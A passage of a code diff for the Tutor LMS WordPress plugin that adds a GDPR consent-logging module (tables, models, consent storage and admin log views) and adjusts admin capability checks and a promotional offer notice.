+		add_action( 'tutor_after_checkout_consent', array( $this, 'store_checkout_consent' ), 10, 2 );
+		add_action( 'wp_ajax_tutor_user_consents', array( $this, 'handle_ajax_request' ) );
+		add_action( 'tutor_render_consent_logs_button', array( $this, 'render_consent_logs_button' ) );
+		add_action( 'tutor_render_consent_logs_modal', array( $this, 'render_consent_logs_modal' ) );
+		add_filter( 'manage_users_columns', array( $this, 'add_consent_logs_column' ) );
+		add_filter( 'manage_users_custom_column', array( $this, 'render_consent_logs_column' ), 10, 3 );
+	}
+
+	/**
+	 * Add consent logs column to user list table.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param array $columns User list table columns.
+	 *
+	 * @return array
+	 */
+	public function add_consent_logs_column( $columns ) {
+		$columns['consent_logs'] = __( 'Consent Logs', 'tutor' );
+
+		ob_start();
+		$this->render_consent_logs_modal();
+		$columns['consent_logs_modal'] = ob_get_clean();
+
+		return $columns;
+	}
+
+	/**
+	 * Render consent logs column.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $value       Column value.
+	 * @param string $column_name Column name.
+	 * @param int    $user_id     User ID.
+	 */
+	public function render_consent_logs_column( $value, $column_name, $user_id ) {
+		if ( 'consent_logs' !== $column_name ) {
+			return $value;
+		}
+
+		$user = get_userdata( $user_id );
+
+		if ( ! $user ) {
+			return $value;
+		}
+
+		$value = '<button type="button" class="tutor-btn tutor-btn-outline-primary tutor-btn-sm" data-tutor-modal-target="tutor-consent-logs-modal" data-consent-logs-trigger data-user-id="' . esc_attr( $user_id ) . '" data-user-name="' . esc_attr( $user->display_name ) . '" data-user-joined="' . esc_attr( $user->user_registered ) . '" data-user-email="' . esc_attr( $user->user_email ) . '" data-user-login="' . esc_attr( $user->user_login ) . '" data-avatar-src="' . esc_url( tutor_utils()->get_user_avatar_url( $user_id ) ) . '"><i class="tutor-icon-eye-line tutor-mr-8" aria-hidden="true"></i>' . esc_html__( 'View Logs', 'tutor' ) . '</button>';
+
+		return $value;
+	}
+
+	/**
+	 * Store registration consent
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param WP_User $user User object.
+	 * @param array   $checked_consents The provided consent fields.
+	 *
+	 * @return void
+	 */
+	public function store_registration_consent( WP_User $user, array $checked_consents ): void {
+		$this->create_user_consent( $user->ID, LegalConsent::DISPLAY_ON_STD_REG, $checked_consents );
+	}
+
+	/**
+	 * Store instructor registration consent.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param int   $user_id User id.
+	 * @param array $checked_consents The provided consent fields.
+	 *
+	 * @return void
+	 */
+	public function store_instructor_registration_consent( int $user_id, array $checked_consents ): void {
+		$this->create_user_consent( $user_id, LegalConsent::DISPLAY_ON_INS_REG, $checked_consents );
+	}
+
+	/**
+	 * Store login consent
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param int   $user_id User id.
+	 * @param array $checked_consents The provided consent fields.
+	 *
+	 * @return void
+	 */
+	public function store_login_consent( int $user_id, array $checked_consents ): void {
+		$this->create_user_consent( $user_id, LegalConsent::DISPLAY_ON_LOGIN, $checked_consents );
+	}
+
+	/**
+	 * Store checkout consent.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param int   $user_id User id.
+	 * @param array $checked_consents The provided consent fields.
+	 *
+	 * @return void
+	 */
+	public function store_checkout_consent( int $user_id, array $checked_consents ): void {
+		$this->create_user_consent( $user_id, LegalConsent::DISPLAY_ON_CHECKOUT, $checked_consents );
+	}
+
+	/**
+	 * Handle ajax request
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return void Send json response
+	 */
+	public function handle_ajax_request(): void {
+		$this->validate_ajax_request();
+
+		$user_action = Input::post( 'user_action' );
+
+		switch ( $user_action ) {
+			case 'all_consents_given_by_user':
+				$user_id = Input::post( 'user_id', 0, Input::TYPE_INT );
+
+				$validate_user = ValidationHelper::validate(
+					array( 'user_id' => 'required|is_exists' ),
+					array( 'user_id' => $user_id )
+				);
+
+				if ( ! $validate_user->success ) {
+					$this->response_bad_request( __( 'Invalid user ID', 'tutor' ) );
+				}
+
+				$consents = $this->get_all_consents_given_by_user( $user_id );
+
+				$this->json_response(
+					__( 'Consent fetched successfully', 'tutor' ),
+					$consents
+				);
+
+				break;
+			default:
+				$this->response_bad_request( __( 'Invalid action', 'tutor' ) );
+				break;
+		}
+	}
+
+
+	/**
+	 * Check if the user has already given consent for a specific display key and version.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param int    $user_id     ID of the user.
+	 * @param string $display_key Consent display key (e.g., registration, login).
+	 * @param array  $checked_consents Checked consent fields.
+	 *
+	 * @return void
+	 */
+	private function create_user_consent( int $user_id, string $display_key, array $checked_consents ) {
+		$user_data = get_userdata( $user_id );
+		if ( $user_data ) {
+			$consents = LegalConsent::get_consent_by_display_key( $display_key );
+
+			if ( tutor_utils()->count( $consents ) ) {
+				foreach ( $consents as $consent ) {
+					$is_active = LegalConsent::is_active( $consent );
+
+					$args = array(
+						'source'        => $display_key,
+						'version'       => $consent->version,
+						'user_id'       => $user_data->ID,
+						'consent_title' => $consent->consent_title,
+					);
+
+					$already_given = $this->model->get_row( $args );
+
+					if ( ! $is_active || $already_given ) {
+						continue;
+					}
+
+					$is_text_only = LegalConsent::is_text_only( $consent );
+					if ( $is_text_only ) {
+						// Store consent.
+						$this->build_and_store( $consent, $user_data, $display_key );
+					} else {
+						$consent_field      = LegalConsent::get_field_name( $consent );
+						$is_checked_consent = in_array( $consent_field, $checked_consents, true );
+
+						if ( ! $is_checked_consent ) {
+							continue;
+						}
+
+						$this->build_and_store( $consent, $user_data, $display_key );
+					}
+				}
+			}
+		}
+	}
+
+	/**
+	 * Retrieve all consents given by a specific user.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param int $user_id ID of the user.
+	 *
+	 * @return array Array of user consent records.
+	 */
+	private function get_all_consents_given_by_user( int $user_id ): array {
+		$where = array(
+			'user_id' => $user_id,
+		);
+
+		$records = $this->model->get_all( $where );
+		if ( ! is_array( $records ) ) {
+			return array();
+		}
+
+		$records = array_map(
+			function ( $record ) {
+				if ( ! isset( $record->created_at_gmt ) ) {
+					return $record;
+				}
+
+				$created_at = strtotime( $record->created_at_gmt . ' UTC' );
+				if ( false === $created_at ) {
+					return $record;
+				}
+
+				$record->time_ago = sprintf(
+					/* translators: %s human-readable time difference. */
+					__( '%s ago', 'tutor' ),
+					human_time_diff( $created_at, time() )
+				);
+
+				return $record;
+			},
+			$records
+		);
+
+		return $records;
+	}
+
+	/**
+	 * Build and store give consent
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param Object  $consent Consent object.
+	 * @param WP_User $user_data User data object.
+	 * @param string  $display_key Display key.
+	 */
+	private function build_and_store( $consent, $user_data, $display_key ) {
+		$build_consent = LegalConsent::build_consent_snapshot( $consent );
+		if ( ! empty( $build_consent ) ) {
+			$build_consent['user_id']    = $user_data->ID;
+			$build_consent['user_email'] = $user_data->user_email;
+			$build_consent['source']     = $display_key;
+
+			try {
+				$this->create( $build_consent );
+			} catch ( Throwable $th ) {
+				tutor_log( $th );
+			}
+		}
+	}
+
+	/**
+	 * Create user content entry.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @throws Exception If failed to store consent.
+	 *
+	 * @param array $data Request data.
+	 *
+	 * @return int On success consent id
+	 */
+	private function create( array $data ) {
+		$user_consent_id = $this->model->create( $data );
+		if ( ! $user_consent_id ) {
+			throw new Exception( esc_html__( 'Failed to store consent', 'tutor' ) );
+		}
+
+		return $user_consent_id;
+	}
+
+	/**
+	 * Check if a user already gave consent for a display key and version.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $display_key Consent display key.
+	 * @param string $version     Consent version.
+	 * @param int    $user_id     User ID. Defaults to current user.
+	 *
+	 * @return bool
+	 */
+	private function is_consent_given_by_user( string $display_key, string $version, int $user_id ): bool {
+		$user_data = get_userdata( $user_id );
+		if ( ! $user_data ) {
+			return false;
+		}
+
+		$given_consent = $this->model->is_consent_given_by_user( $user_id, $display_key, $version );
+
+		return $given_consent;
+	}
+
+	/**
+	 * Render consent logs button.
+	 * Called via action hook.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param object $user_data User list item object.
+	 */
+	public function render_consent_logs_button( $user_data ): void {
+		$user_id = $user_data->ID ?? 0;
+		if ( ! $user_id ) {
+			return;
+		}
+
+		$user_name   = $user_data->display_name ?? '';
+		$user_joined = $user_data->user_registered ?? '';
+		$user_email  = $user_data->user_email ?? '';
+		$user_login  = $user_data->user_login ?? '';
+		$avatar_src  = get_avatar_url( $user_id, array( 'size' => 40 ) );
+		?>
+		<div class="tutor-dropdown-parent">
+			<button type="button" class="tutor-iconic-btn" action-tutor-dropdown="toggle">
+				<span class="tutor-icon-kebab-menu" aria-hidden="true"></span>
+			</button>
+			<div id="user-actions-<?php echo esc_attr( $user_id ); ?>" class="tutor-dropdown tutor-dropdown-dark tutor-text-left">
+				<button
+					type="button"
+					class="tutor-dropdown-item"
+					data-tutor-modal-target="tutor-consent-logs-modal"
+					data-consent-logs-trigger
+					data-user-id="<?php echo esc_attr( $user_id ); ?>"
+					data-user-name="<?php echo esc_attr( $user_name ); ?>"
+					data-user-joined="<?php echo esc_attr( $user_joined ); ?>"
+					data-user-email="<?php echo esc_attr( $user_email ); ?>"
+					data-user-login="<?php echo esc_attr( $user_login ); ?>"
+					data-avatar-src="<?php echo esc_url( $avatar_src ); ?>"
+				>
+					<i class="tutor-icon-file-text tutor-mr-8" aria-hidden="true"></i>
+					<span><?php esc_html_e( 'Consent Logs', 'tutor' ); ?></span>
+				</button>
+			</div>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Render consent logs modal.
+	 * Called via action hook.
+	 *
+	 * @since 4.0.0
+	 */
+	public function render_consent_logs_modal(): void {
+		include tutor()->path . 'views/templates/consent-logs-modal.php';
+	}
+}
--- a/tutor/GDPR/DB/DB.php
+++ b/tutor/GDPR/DB/DB.php
@@ -0,0 +1,86 @@
+<?php
+/**
+ * GDPR DB base class.
+ *
+ * @package TutorGDPRDB
+ * @author Themeum <support@themeum.com>
+ * @link https://themeum.com
+ * @since 4.0.0
+ */
+
+namespace TutorGDPRDB;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Abstract GDPR DB table class.
+ */
+abstract class DB {
+
+	/**
+	 * Create all GDPR tables.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return void
+	 */
+	public static function create_tables() {
+		require_once ABSPATH . 'wp-admin/includes/upgrade.php';
+
+		foreach ( static::tables() as $table_class ) {
+			$sql = $table_class::get_schema();
+			if ( ! empty( $sql ) ) {
+				dbDelta( $sql );
+			}
+		}
+	}
+
+	/**
+	 * Drop all GDPR tables.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return void
+	 */
+	public static function drop_tables() {
+		global $wpdb;
+
+		foreach ( static::tables() as $table_class ) {
+			$table_name = $table_class::get_table_name();
+			$wpdb->query( "DROP TABLE IF EXISTS {$table_name}" ); //phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+		}
+	}
+
+	/**
+	 * Registered GDPR table classes.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return array
+	 */
+	protected static function tables() {
+		return array(
+			LegalConsents::class,
+			UserConsents::class,
+			Logs::class,
+		);
+	}
+
+	/**
+	 * Get table name.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return string
+	 */
+	abstract public static function get_table_name();
+
+	/**
+	 * Get create table SQL.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return string
+	 */
+	abstract public static function get_schema();
+}
--- a/tutor/GDPR/DB/LegalConsents.php
+++ b/tutor/GDPR/DB/LegalConsents.php
@@ -0,0 +1,61 @@
+<?php
+/**
+ * GDPR legal consents table.
+ *
+ * @package TutorGDPRDB
+ * @author Themeum <support@themeum.com>
+ * @link https://themeum.com
+ * @since 4.0.0
+ */
+
+namespace TutorGDPRDB;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Legal consents table class.
+ */
+class LegalConsents extends DB {
+
+	/**
+	 * Get table name.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return string
+	 */
+	public static function get_table_name() {
+		global $wpdb;
+		return $wpdb->prefix . 'tutor_legal_consents';
+	}
+
+	/**
+	 * Get create table schema.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return string
+	 */
+	public static function get_schema() {
+		global $wpdb;
+
+		$table_name      = static::get_table_name();
+		$charset_collate = $wpdb->get_charset_collate();
+
+		return "CREATE TABLE {$table_name} (
+			id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
+			consent_title VARCHAR(255) NOT NULL,
+			display_on TEXT NOT NULL, -- comma separate value for multiple scopes
+			consent_message TEXT NOT NULL,
+			consent_map JSON, -- JSON map [terms_conditions => 1]
+			version VARCHAR(20) NOT NULL,
+			consent_method VARCHAR(255) NOT NULL,
+			is_active TINYINT(1) DEFAULT 1,
+			settings JSON,
+			created_at_gmt DATETIME NOT NULL,
+			updated_at_gmt DATETIME,
+			INDEX (consent_title),
+			INDEX (is_active)
+		) {$charset_collate};";
+	}
+}
--- a/tutor/GDPR/DB/Logs.php
+++ b/tutor/GDPR/DB/Logs.php
@@ -0,0 +1,54 @@
+<?php
+/**
+ * GDPR compliance logs table.
+ *
+ * @package TutorGDPRDB
+ * @author Themeum <support@themeum.com>
+ * @link https://themeum.com
+ * @since 4.0.0
+ */
+
+namespace TutorGDPRDB;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Consents table class.
+ */
+class Logs extends DB {
+
+	/**
+	 * Get table name.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return string
+	 */
+	public static function get_table_name() {
+		global $wpdb;
+		return $wpdb->prefix . 'tutor_legal_consent_logs';
+	}
+
+	/**
+	 * Get create table schema.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return string
+	 */
+	public static function get_schema() {
+		global $wpdb;
+
+		$table_name      = static::get_table_name();
+		$charset_collate = $wpdb->get_charset_collate();
+
+		return "CREATE TABLE {$table_name} (
+			id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
+			legal_consent_id BIGINT UNSIGNED NOT NULL,
+			action VARCHAR(50), -- created, updated, deleted
+			old_data JSON NULL,
+			new_data JSON NULL,
+			created_at_gmt DATETIME NOT NULL
+		) {$charset_collate};";
+	}
+}
--- a/tutor/GDPR/DB/UserConsents.php
+++ b/tutor/GDPR/DB/UserConsents.php
@@ -0,0 +1,63 @@
+<?php
+/**
+ * GDPR user contents table.
+ *
+ * @package TutorGDPRDB
+ * @author Themeum <support@themeum.com>
+ * @link https://themeum.com
+ * @since 4.0.0
+ */
+
+namespace TutorGDPRDB;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * User contents table class.
+ */
+class UserConsents extends DB {
+
+	/**
+	 * Get table name.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return string
+	 */
+	public static function get_table_name() {
+		global $wpdb;
+		return $wpdb->prefix . 'tutor_user_consents';
+	}
+
+	/**
+	 * Get create table schema.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return string
+	 */
+	public static function get_schema() {
+		global $wpdb;
+
+		$table_name      = static::get_table_name();
+		$charset_collate = $wpdb->get_charset_collate();
+
+		return "CREATE TABLE {$table_name} (
+			id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
+			user_id BIGINT UNSIGNED NULL,
+			user_email VARCHAR(190) NOT NULL,
+			consent_title VARCHAR(100) NOT NULL,
+			label_snapshot TEXT NOT NULL,
+			links_snapshot JSON,
+			version VARCHAR(20) NOT NULL,
+			consent_method VARCHAR(255) NOT NULL,
+			ip_address VARCHAR(45),
+			user_agent TEXT,
+			source VARCHAR(50), -- consent page info
+			created_at_gmt DATETIME NOT NULL,
+			INDEX (user_id),
+			INDEX (consent_title),
+			INDEX (created_at_gmt)
+		) {$charset_collate};";
+	}
+}
--- a/tutor/GDPR/GDPR.php
+++ b/tutor/GDPR/GDPR.php
@@ -0,0 +1,104 @@
+<?php
+/**
+ * Main GDPR module bootstrap.
+ *
+ * @package TutorGDPR
+ * @author Themeum <support@themeum.com>
+ * @link https://themeum.com
+ * @since 4.0.0
+ */
+
+namespace TutorGDPR;
+
+use AllowDynamicProperties;
+use TutorGDPRControllersLegalConsent;
+use TutorGDPRControllersUserConsent;
+use TutorGDPRDBDB;
+use TUTORSingleton;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * GDPR main class to init GDPR functionalities.
+ *
+ * @since 4.0.0
+ */
+#[AllowDynamicProperties]
+final class GDPR extends Singleton {
+
+	/**
+	 * Option key to track GDPR DB schema installation.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @var string
+	 */
+	private const DB_SCHEMA_VERSION_OPTION = 'tutor_gdpr_db_schema_version';
+
+	/**
+	 * Current schema version.
+	 *
+	 * Bump this when GDPR DB schemas change.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @var string
+	 */
+	private const DB_SCHEMA_VERSION = '1.1.0';
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.0.0
+	 */
+	public function __construct() {
+		$this->register_hooks();
+	}
+
+	/**
+	 * Register WordPress hooks for GDPR.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return void
+	 */
+	private function register_hooks() {
+		add_action( 'init', array( $this, 'init' ), 5 );
+	}
+
+	/**
+	 * Initialize GDPR functionalities.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return void
+	 */
+	public function init() {
+		$this->maybe_install_db();
+
+		$this->legal_consent = new LegalConsent();
+		$this->user_content  = new UserConsent();
+	}
+
+	/**
+	 * Create/update GDPR DB tables when needed.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return void
+	 */
+	private function maybe_install_db() {
+		$installed_version = get_option( self::DB_SCHEMA_VERSION_OPTION );
+		if ( self::DB_SCHEMA_VERSION === $installed_version ) {
+			return;
+		}
+
+		// Only create tables when WordPress is fully installed.
+		if ( ! function_exists( 'dbDelta' ) ) {
+			require_once ABSPATH . 'wp-admin/includes/upgrade.php';
+		}
+
+		DB::create_tables();
+		update_option( self::DB_SCHEMA_VERSION_OPTION, self::DB_SCHEMA_VERSION, false );
+	}
+}
--- a/tutor/GDPR/Models/LegalConsentLogs.php
+++ b/tutor/GDPR/Models/LegalConsentLogs.php
@@ -0,0 +1,59 @@
+<?php
+/**
+ * Compliance logs model.
+ *
+ * @package TutorGDPRModels
+ * @author Themeum <support@themeum.com>
+ * @link https://themeum.com
+ * @since 4.0.0
+ */
+
+namespace TutorGDPRModels;
+
+use TutorGDPRDBLogs as Table;
+use TutorModelsBaseModel;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Compliance logs model class.
+ *
+ * @since 4.0.0
+ */
+class LegalConsentLogs extends BaseModel {
+
+	/**
+	 * Table name without prefix.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @var string
+	 */
+	protected $table_name = 'tutor_legal_consent_logs';
+
+	/**
+	 * Fillable fields for create/update.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @var array
+	 */
+	protected $fillable = array(
+		'id',
+		'legal_consent_id',
+		'action',
+		'old_data',
+		'new_data',
+		'created_at_gmt',
+	);
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.0.0
+	 */
+	public function __construct() {
+		$this->table_name = Table::get_table_name();
+		parent::__construct();
+	}
+}
--- a/tutor/GDPR/Models/LegalConsents.php
+++ b/tutor/GDPR/Models/LegalConsents.php
@@ -0,0 +1,100 @@
+<?php
+/**
+ * Legal consent model.
+ *
+ * @package TutorGDPRModels
+ * @author Themeum <support@themeum.com>
+ * @link https://themeum.com
+ * @since 4.0.0
+ */
+
+namespace TutorGDPRModels;
+
+use TutorGDPRDBLegalConsents as Table;
+use TutorModelsBaseModel;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Legal consent model class.
+ *
+ * @since 4.0.0
+ */
+class LegalConsents extends BaseModel {
+
+	/**
+	 * Table name without prefix.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @var string
+	 */
+	protected $table_name = 'tutor_legal_consents';
+
+	/**
+	 * Fillable fields for create/update.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @var array
+	 */
+	protected $fillable = array(
+		'consent_title',
+		'display_on',
+		'consent_message',
+		'consent_map',
+		'version',
+		'consent_method',
+		'is_active',
+		'settings',
+		'created_at_gmt',
+		'updated_at_gmt',
+	);
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.0.0
+	 */
+	public function __construct() {
+		$this->table_name = Table::get_table_name();
+		parent::__construct();
+	}
+
+	/**
+	 * Get fillable fields
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return array
+	 */
+	public function get_fillable_fields() {
+		return $this->fillable;
+	}
+
+	/**
+	 * Retrieve legal consent entries filtered by display key.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $display_key The display key to filter consents (e.g. 'login', 'signup', etc.).
+	 *
+	 * @return array An array of legal consent objects or an empty array if none found.
+	 */
+	public function get_consents_by_display_key( string $display_key ): array {
+		global $wpdb;
+
+		$res = $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT
+					*
+				FROM {$this->table_name}
+				WHERE FIND_IN_SET( %s, display_on )
+				",
+				$display_key
+			)
+		);
+
+		return is_array( $res ) ? $res : array();
+	}
+}
--- a/tutor/GDPR/Models/UserConsents.php
+++ b/tutor/GDPR/Models/UserConsents.php
@@ -0,0 +1,66 @@
+<?php
+/**
+ * User content model.
+ *
+ * @package TutorGDPRModels
+ * @author Themeum <support@themeum.com>
+ * @link https://themeum.com
+ * @since 4.0.0
+ */
+
+namespace TutorGDPRModels;
+
+use TutorGDPRDBUserConsents as Table;
+use TUTORInput;
+use TutorModelsBaseModel;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * User content model class.
+ *
+ * @since 4.0.0
+ */
+class UserConsents extends BaseModel {
+
+	/**
+	 * Table name without prefix.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @var string
+	 */
+	protected $table_name = 'tutor_user_contents';
+
+	/**
+	 * Fillable fields for create/update.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @var array
+	 */
+	protected $fillable = array(
+		'user_id',
+		'user_email',
+		'consent_title',
+		'label_snapshot',
+		'label_snapshot_plain_text',
+		'links_snapshot',
+		'consent_method',
+		'version',
+		'ip_address',
+		'user_agent',
+		'source',
+		'created_at_gmt',
+	);
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.0.0
+	 */
+	public function __construct() {
+		$this->table_name = Table::get_table_name();
+		parent::__construct();
+	}
+}
--- a/tutor/classes/Addons.php
+++ b/tutor/classes/Addons.php
@@ -10,9 +10,8 @@

 namespace TUTOR;

-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
+defined( 'ABSPATH' ) || exit;
+
 /**
  * Addons Class
  *
@@ -25,6 +24,7 @@
 	 * Constructor
 	 *
 	 * @since 1.0.0
+	 *
 	 * @return void
 	 */
 	public function __construct() {
@@ -52,6 +52,7 @@
 	 *
 	 * @param string $basename basename of addon.
 	 * @param bool   $status status 0,1.
+	 *
 	 * @return void
 	 */
 	public static function update_addon_status( $basename, $status ) {
@@ -66,6 +67,7 @@
 	 * Get all addons data.
 	 *
 	 * @since 1.0.0
+	 *
 	 * @return void
 	 */
 	public function get_all_addons() {
@@ -73,7 +75,7 @@
 		// Check and verify the request.
 		tutor_utils()->checking_nonce();

-		if ( ! User::is_admin() ) {
+		if ( ! User::can() ) {
 			wp_send_json_error( tutor_utils()->error_message() );
 		}

@@ -179,8 +181,8 @@

 		tutor_utils()->checking_nonce();

-		if ( ! current_user_can( 'manage_options' ) ) {
-			wp_send_json_error( array( 'message' => __( 'Access Denied', 'tutor' ) ) );
+		if ( ! User::can() ) {
+			wp_send_json_error( tutor_utils()->error_message() );
 		}

 		$form_data     = json_decode( Input::post( 'addonFieldNames' ) );
@@ -227,6 +229,7 @@
 	 * Get tutor addons list
 	 *
 	 * @since 1.0.0
+	 *
 	 * @return array
 	 */
 	public function addons_lists_to_show() {
--- a/tutor/classes/Admin.php
+++ b/tutor/classes/Admin.php
@@ -10,16 +10,14 @@

 namespace TUTOR;

+defined( 'ABSPATH' ) || exit;
+
 use TutorEcommerceOrderController;
 use TutorHelpersHttpHelper;
 use TUTORInput;
 use TutorModelsCourseModel;
 use TutorTraitsJsonResponse;

-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
 /**
  * Admin Class
  *
@@ -32,10 +30,10 @@
 	 * Constructor
 	 *
 	 * @since 1.0.0
+	 *
 	 * @return void
 	 */
 	public function __construct() {
-
 		add_action( 'admin_notices', array( $this, 'show_unstable_version_admin_notice' ) );

 		add_action( 'admin_menu', array( $this, 'register_menu' ) );
@@ -44,6 +42,7 @@
 		add_filter( 'submenu_file', array( $this, 'submenu_file_active' ), 10, 2 );

 		add_action( 'admin_init', array( $this, 'filter_posts_for_instructors' ) );
+		add_action( 'admin_init', array( $this, 'redirect_to_welcome_page' ) );
 		add_action( 'load-post.php', array( $this, 'check_if_current_users_post' ) );

 		add_filter( 'plugin_action_links_' . plugin_basename( TUTOR_FILE ), array( $this, 'plugin_action_links' ) );
@@ -62,6 +61,116 @@
 		add_action( 'admin_bar_menu', array( $this, 'add_toolbar_items' ), 100 );

 		add_action( 'wp_ajax_tutor_do_not_show_feature_page', array( $this, 'handle_do_not_show_feature_page' ) );
+
+		add_action( 'upgrader_process_complete', array( $this, 'set_permalink_flag_on_upgrade' ), 10, 2 );
+
+		add_action( 'admin_notices', array( $this, 'show_offer_notice' ) );
+		add_action( 'wp_ajax_tutor_dismiss_offer_notice', array( $this, 'ajax_dismiss_offer_notice' ) );
+	}
+
+	/**
+	 * Flush Tutor permalink rewrite rules after updates.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param mixed $upgrader_object Upgrader instance.
+	 * @param array $options      Extra arguments passed to the hook.
+	 *
+	 * @return void
+	 */
+	public function set_permalink_flag_on_upgrade( $upgrader_object, $options ) {
+		Permalink::set_permalink_reset_flag( $upgrader_object, $options );
+	}
+
+	/**
+	 * Check offer notice is dismissed.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return bool
+	 */
+	private function is_offer_notice_dismissed() {
+		return '4.0.0' === get_transient( 'tutor_offer_notice_dismissed' );
+	}
+
+	/**
+	 * Show offer notice
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return void
+	 */
+	public function show_offer_notice() {
+		if ( ! User::is_admin() || Input::has( 'welcome', Input::GET_REQUEST ) ) {
+			return;
+		}
+
+		$is_free_user = ! tutor()->has_pro;
+		$cta_label    = __( 'Claim 30% OFF', 'tutor' );
+		$cta_link     = 'https://tutorlms.com/pricing/?utm_source=tutor-plugin&utm_medium=notice&utm_campaign=tutor-lms-pro-offer';
+
+		$now           = new DateTimeImmutable( 'now', wp_timezone() );
+		$expiration_dt = '2026-07-15 23:59:59';
+		$expiration    = new DateTimeImmutable( $expiration_dt, wp_timezone() );
+
+		$remaining = max( 0, $expiration->getTimestamp() - $now->getTimestamp() );
+
+		$days    = floor( $remaining / DAY_IN_SECONDS );
+		$hours   = floor( ( $remaining % DAY_IN_SECONDS ) / HOUR_IN_SECONDS );
+		$minutes = floor( ( $remaining % HOUR_IN_SECONDS ) / MINUTE_IN_SECONDS );
+		$seconds = $remaining % MINUTE_IN_SECONDS;
+
+		$expire_in = sprintf(
+			'%dd:%02dh:%02d:%02d',
+			$days,
+			$hours,
+			$minutes,
+			$seconds
+		);
+
+		if ( $is_free_user && $remaining > 0 && ! self::is_offer_notice_dismissed() ) {
+			?>
+			<div class="tutor-offer-notice">
+				<div class="tutor-offer-notice-wrapper">
+					<div class="tutor-offer-notice-left">
+						<div data-subheader><?php esc_html_e( '4.0 launch offer', 'tutor' ); ?></div>
+						<div data-header><?php esc_html_e( '30% OFF', 'tutor' ); ?></div>
+						<div data-subtext><?php esc_html_e( 'on all annual plans', 'tutor' ); ?></div>
+					</div>
+					<div class="tutor-offer-notice-right">
+						<div class="tutor-offer-notice-text"><?php esc_html_e( 'Offer ends by', 'tutor' ); ?> <span class="tutor-offer-notice-timer" data-expiry="<?php echo esc_attr( $expiration->getTimestamp() ); ?>"><?php echo esc_html( $expire_in ); ?></span></div>
+						<a class="tutor-offer-notice-cta" href="<?php echo esc_url( $cta_link ); ?>" target="_blank">
+							<?php echo esc_html( $cta_label ); ?>
+							<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24"><path fill="#fff" d="M13.938 6.937a.55.55 0 0 0-.786 0 .555.555 0 0 0 0 .778l3.338 3.34H5.243a.55.55 0 0 0-.55.551c0 .305.242.558.55.558h11.246l-3.337 3.334a.563.563 0 0 0 0 .785.55.55 0 0 0 .786 0L18.217 12a.543.543 0 0 0 0-.78z"/></svg>
+						</a>
+					</div>
+				</div>
+				<button type="button" class="tutor-offer-notice-dismiss"><span class="tutor-icon-times"></span></button>
+			</div>
+			<?php
+		}
+	}
+
+	/**
+	 * Dismiss offer notice.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return void JSON response.
+	 */
+	public function ajax_dismiss_offer_notice() {
+		if ( ! User::is_admin() ) {
+			$this->response_bad_request( tutor_utils()->error_message() );
+		}
+
+		if ( self::is_offer_notice_dismissed() ) {
+			$this->response_bad_request( __( 'You have already dismissed the offer notice.', 'tutor' ) );
+		}
+
+		// Set expiry until next day.
+		$expiration = strtotime( 'tomorrow' ) - time();
+		set_transient( 'tutor_offer_notice_dismissed', '4.0.0', $expiration );
+		$this->json_response( __( 'Notice dismissed', 'tutor' ) );
 	}

 	/**
@@ -333,13 +442,13 @@
 	 */
 	public function feature_promotion_page() {
 		include tutor()->path . 'views/pages/welcome.php';
